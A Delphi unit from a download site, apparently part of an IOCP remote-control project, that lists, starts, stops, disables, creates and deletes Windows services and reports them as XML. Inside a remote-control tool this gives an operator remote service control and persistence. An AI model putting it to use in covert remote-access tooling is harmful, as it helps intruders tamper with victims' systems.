⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 servicecontrolunit.pas

📁 iocp远控比较完整的代码.iocp far more complete control of the code
💻 PAS
字号:
unit ServiceControlUnit;

interface
uses
  Windows,
  Messages,
  Winsvc,
  PublicFunctionUnit;


const
  MAX_SERVICE_NUM = 512;

type
  TCSM = Class
  public
    dwSerNum : DWORD;
    nSerIndex : array[0..MAX_SERVICE_NUM - 1] of Byte;
    SerStatus : array[0..MAX_SERVICE_NUM - 1] of TEnumServiceStatus;
    // 枚举服务
    function EnumWin32Service(var ListItemTableStr : string) : Boolean;
    // 启动服务
    function StartWin32Service(nIndex : Byte) : Boolean;
    // 停止服务
    function StopWin32Service(nIndex : Byte) : Boolean;
    // 暂停服务
    function PauseWin32Service(nIndex : Byte) : Boolean;
    //恢复服务
    function ContinueWin32Service(nIndex : Byte) : Boolean;
    // 服务启动类型--自动
    function SetAutoStartType(nIndex : Byte) : Boolean;
    // 服务启动类型--手动
    function SetManualStartType(nIndex : Byte) : Boolean;
    // 服务启动类型--禁用
    function SetDisableStartType(nIndex : Byte) : Boolean;
    // 取得服务的启动类型
    function GetServiceStartType(nIndex : Byte) : Byte;
    // 加载服务
    function AddWin32Service(lpServiceName, lpDisplayName, lpPathName : PChar) : Boolean;
    // 卸载服务
    function DeleteWin32Service(nIndex : Byte) : Boolean;
    // 取得指定索引的服务的句柄
    function GetServiceByIndex(nIndex : Byte) : SC_HANDLE;
    //得到服务的描述
    function GetServiceDescription(nIndex: Byte): string;
  end;



implementation

{-----------------------------------TCSM----------------------------------------}

//枚举服务
function TCSM.EnumWin32Service(var ListItemTableStr : string) : Boolean;
var
  hSCManager : SC_HANDLE;
  dwBufSize, dwBytesNeeded, lpResumeHandle : DWORD;
  i, j: integer;
  Statues, StartType, ServiceType, ControlsAccepted : string;
  ServiceName, DescriptionName : string;
begin
  Result := True;
  hSCManager := OpenSCManager(nil, nil, SC_MANAGER_ENUMERATE_SERVICE or GENERIC_READ) ;
  if hSCManager = 0 then
  begin
    Result := False;
    Exit;
  end;
  dwBufSize := 512 * sizeof(TEnumServiceStatus);
  dwBytesNeeded := 0;
  lpResumeHandle := 0;
  if (not EnumServicesStatus(hSCManager, SERVICE_WIN32, SERVICE_STATE_ALL,
    SerStatus[0], dwBufSize, dwBytesNeeded, dwSerNum, lpResumeHandle)) then
  begin
    Result := False;
    Exit;
  end;
  for i := 0 to dwSerNum - 1 do
  begin 
    case SerStatus[i].ServiceStatus.dwCurrentState of
      SERVICE_STOPPED:
        Statues := '';
      SERVICE_STOP_PENDING:
      	Statues := '';
      SERVICE_START_PENDING:
      	Statues := '';
      SERVICE_RUNNING:
      	Statues := '已启动';
      SERVICE_CONTINUE_PENDING:
      	Statues := '';
      SERVICE_PAUSE_PENDING:
      	Statues := '';
      SERVICE_PAUSED:
      	Statues := '';
    end;
    StartType := '';
    case GetServiceStartType(i) of
      SERVICE_BOOT_START:
        StartType := '自动';
      SERVICE_SYSTEM_START:
        StartType := '自动';
      SERVICE_AUTO_START:
        StartType := '自动';
      SERVICE_DEMAND_START:
        StartType := '手动';
      SERVICE_DISABLED:
        StartType := '已禁用';
    end;
    case SerStatus[i].ServiceStatus.dwServiceType of
      SERVICE_WIN32_OWN_PROCESS:
      	ServiceType := '运行在本进程空间';
      SERVICE_WIN32_SHARE_PROCESS:
      	ServiceType := '和其他服务共享进程';
      SERVICE_KERNEL_DRIVER:
      	ServiceType := 'WINNT 驱动';
      SERVICE_FILE_SYSTEM_DRIVER:
      	ServiceType := 'WINNT文件驱动';
      SERVICE_INTERACTIVE_PROCESS:
       	ServiceType := '可以和桌面交互';
    end;
    case SerStatus[i].ServiceStatus.dwControlsAccepted of
      SERVICE_ACCEPT_STOP:
        ControlsAccepted := '禁止停止';
      SERVICE_ACCEPT_PAUSE_CONTINUE:
        ControlsAccepted := '能够暂停和恢复';
      SERVICE_ACCEPT_SHUTDOWN:
        ControlsAccepted := '系统关机时可以得到通知';
    end;
    ServiceName := SerStatus[i].lpDisplayName;
    DescriptionName := GetServiceDescription(i);
    if ServiceName <> '' then
      for j := 1 to Length(ServiceName) do
        if (ServiceName[j] = '&') or (ServiceName[j] = '<') or (ServiceName[j] = '>') then
          ServiceName[j] := '_';
    if DescriptionName <> '' then
      for j := 1 to Length(DescriptionName) do
        if (DescriptionName[j] = '&') or (DescriptionName[j] = '<') or (DescriptionName[j] = '>') then
          DescriptionName[j] := '_';
    ListItemTableStr := ListItemTableStr +
      '<item Index="' + IntToStr(i) +
      '" ServiceName="' + ServiceName +
      '" DescriptionName="' + DescriptionName +
      '" CurrentState="' + Statues +
      '" StartType="' + StartType +
      '" ServiceType="' + ServiceType +
      '" ControlsAccepted="' + ControlsAccepted +
      '"/>';
  end;
  CloseServiceHandle(hSCManager);
end;

//开启服务
function TCSM.StartWin32Service(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
  tmpPointer : PChar;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  tmpPointer := nil;
  if not StartService(hSCService, 0, tmpPointer) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//停止服务
function TCSM.StopWin32Service(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
  tmpPointer : TServiceStatus;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  tmpPointer := SerStatus[nIndex].ServiceStatus;
  if not ControlService(hSCService, SERVICE_CONTROL_STOP, tmpPointer) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//暂停服务
function TCSM.PauseWin32Service(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
  tmpPointer : TServiceStatus;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  tmpPointer := SerStatus[nIndex].ServiceStatus;
  if not ControlService(hSCService, SERVICE_CONTROL_PAUSE, tmpPointer) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//恢复服务
function TCSM.ContinueWin32Service(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
  tmpPointer : TServiceStatus;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  tmpPointer := SerStatus[nIndex].ServiceStatus;
  if not ControlService(hSCService, SERVICE_CONTROL_CONTINUE, tmpPointer) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//服务启动类型--自动
function TCSM.SetAutoStartType(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  if not ChangeServiceConfig(hSCService, SERVICE_NO_CHANGE, SERVICE_AUTO_START,
    SERVICE_NO_CHANGE, nil, nil, nil, nil, nil, nil, nil) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//服务启动类型--手动
function TCSM.SetManualStartType(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  if not ChangeServiceConfig(hSCService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START,
    SERVICE_NO_CHANGE, nil, nil, nil, nil, nil, nil, nil) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//服务启动类型--禁用
function TCSM.SetDisableStartType(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
begin
  Result := True;
  hSCService := GetServiceByIndex(nIndex);
  if not ChangeServiceConfig(hSCService, SERVICE_NO_CHANGE, SERVICE_DISABLED,
    SERVICE_NO_CHANGE, nil, nil, nil, nil, nil, nil, nil) then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
end;

//添加服务
function TCSM.AddWin32Service(lpServiceName, lpDisplayName,
  lpPathName: PChar): Boolean;
var
  hSCService, hSCManager : SC_HANDLE;
begin 
  Result := True;
  hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if hSCManager = 0 then
  begin
    Result := False;
    Exit;
  end;
  hSCService := CreateService(hSCManager, lpServiceName, lpDisplayName,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START,
    SERVICE_ERROR_NORMAL, lpPathName, nil, nil, nil, nil, nil);
  if hSCService = 0 then
  begin
    CloseServiceHandle(hSCService);
    Result := False;
    Exit;
  end;
  CloseServiceHandle(hSCService);
  CloseServiceHandle(hSCManager);
end;

//卸载服务
function TCSM.DeleteWin32Service(nIndex: Byte): Boolean;
var
  hSCService : SC_HANDLE;
begin
  hSCService := GetServiceByIndex(nIndex);
  Result := DeleteService(hSCService);
  CloseServiceHandle(hSCService);
end;

//取得指定索引的服务的句柄
function TCSM.GetServiceByIndex(nIndex: Byte): SC_HANDLE;
var
  hSCManager, hSCService : SC_HANDLE; 
begin
  hSCManager := OpenSCManager(nil, nil, SC_MANAGER_ENUMERATE_SERVICE or GENERIC_READ);
  if hSCManager = 0 then
  begin
    Result := 0;
    Exit;
  end;
  hSCService := OpenService(hSCManager, SerStatus[nIndex].lpServiceName, SERVICE_ALL_ACCESS);
  CloseServiceHandle (hSCManager);
  Result := hSCService;
end;

//取得服务的启动类型
function TCSM.GetServiceStartType(nIndex: Byte): Byte;
var
  hSCService : SC_HANDLE;
  lpServiceConfig : pQueryServiceConfig;
  dwByteNeeded : DWORD;
begin
  hSCService := GetServiceByIndex(nIndex);
  GetMem(lpServiceConfig, 1024);
  QueryServiceConfig(hSCService, lpServiceConfig, 1024, dwByteNeeded);
  Result := lpServiceConfig^.dwStartType;
  CloseServiceHandle(hSCService);
  FreeMem(lpServiceConfig);
end;

//取得服务的启动类型
function QueryServiceConfig2(
  hService : SC_HANDLE;     // handle to service
  dwInfoLevel : DWORD;      // information level
  lpBuffer : PChar;      // buffer
  cbBufSize : DWORD;       // size of buffer
  var pcbBytesNeeded : DWORD   // bytes needed
  ) : Boolean; stdcall; external 'ADVAPI32.DLL' name 'QueryServiceConfig2A';
function TCSM.GetServiceDescription(nIndex: Byte): string;
var
  hSCService : SC_HANDLE;
  lpServiceDescription : array[0.. 1024 - 1] of Char; //最多8k;
  dwByteNeeded : DWORD;
begin
  Result := '';
  hSCService := GetServiceByIndex(nIndex);
  ZeroMemory(@lpServiceDescription[0], sizeof(lpServiceDescription));
  //调用获得discription
  if QueryServiceConfig2(hSCService, 1, lpServiceDescription, sizeof(lpServiceDescription), dwByteNeeded) then
  begin
    Result := PChar(@lpServiceDescription[4]);
  end;
  CloseServiceHandle(hSCService);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -